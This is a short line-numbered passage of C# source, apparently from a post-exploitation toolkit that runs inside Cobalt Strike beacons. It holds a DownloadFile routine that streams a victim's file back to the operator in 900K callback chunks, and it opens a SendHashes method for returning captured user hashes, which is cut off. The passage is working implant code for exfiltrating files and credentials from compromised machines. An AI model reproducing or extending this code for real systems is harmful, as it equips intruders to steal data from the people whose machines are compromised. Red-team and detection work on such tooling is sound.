| 69 | } |
| 70 | |
| 71 | protected void DownloadFile(string fileName, Stream fileData) { |
| 72 | |
| 73 | var fileId = new Random().Next(1, int.MaxValue); |
| 74 | BinaryWriter fileCallback; |
| 75 | |
| 76 | //Send the start of download callback |
| 77 | fileCallback = new BinaryWriter(new MemoryStream()); |
| 78 | fileCallback.Write(fileId); |
| 79 | fileCallback.Write(IPAddress.HostToNetworkOrder((int)fileData.Length)); |
| 80 | fileCallback.Write(Encoding.UTF8.GetBytes(fileName)); |
| 81 | BeaconCallbackWriter(OutputTypes.CALLBACK_FILE, ((MemoryStream)fileCallback.BaseStream).ToArray(), (int)fileCallback.BaseStream.Length); |
| 82 | |
| 83 | //Send callbacks in chunks of 900K, since a single CS |
| 84 | //transfer is limited to around 1MB |
| 85 | byte[] fileChunk = new byte[1024 * 900]; |
| 86 | int readSize; |
| 87 | |
| 88 | while( (readSize = fileData.Read(fileChunk, 0, fileChunk.Length)) > 0){ |
| 89 | fileCallback = new BinaryWriter(new MemoryStream()); |
| 90 | fileCallback.Write(fileId); |
| 91 | fileCallback.Write(fileChunk,0,readSize); |
| 92 | BeaconCallbackWriter(OutputTypes.CALLBACK_FILE_WRITE, ((MemoryStream)fileCallback.BaseStream).ToArray(), (int)fileCallback.BaseStream.Length); |
| 93 | } |
| 94 | |
| 95 | //Send a close file callback to complete the transfer |
| 96 | fileCallback = new BinaryWriter(new MemoryStream()); |
| 97 | fileCallback.Write(fileId); |
| 98 | BeaconCallbackWriter(OutputTypes.CALLBACK_FILE_CLOSE, ((MemoryStream)fileCallback.BaseStream).ToArray(), (int)fileCallback.BaseStream.Length); |
| 99 | } |
| 100 | |
| 101 | protected void SendHashes(UserHash[] userHashes) { |
| 102 | |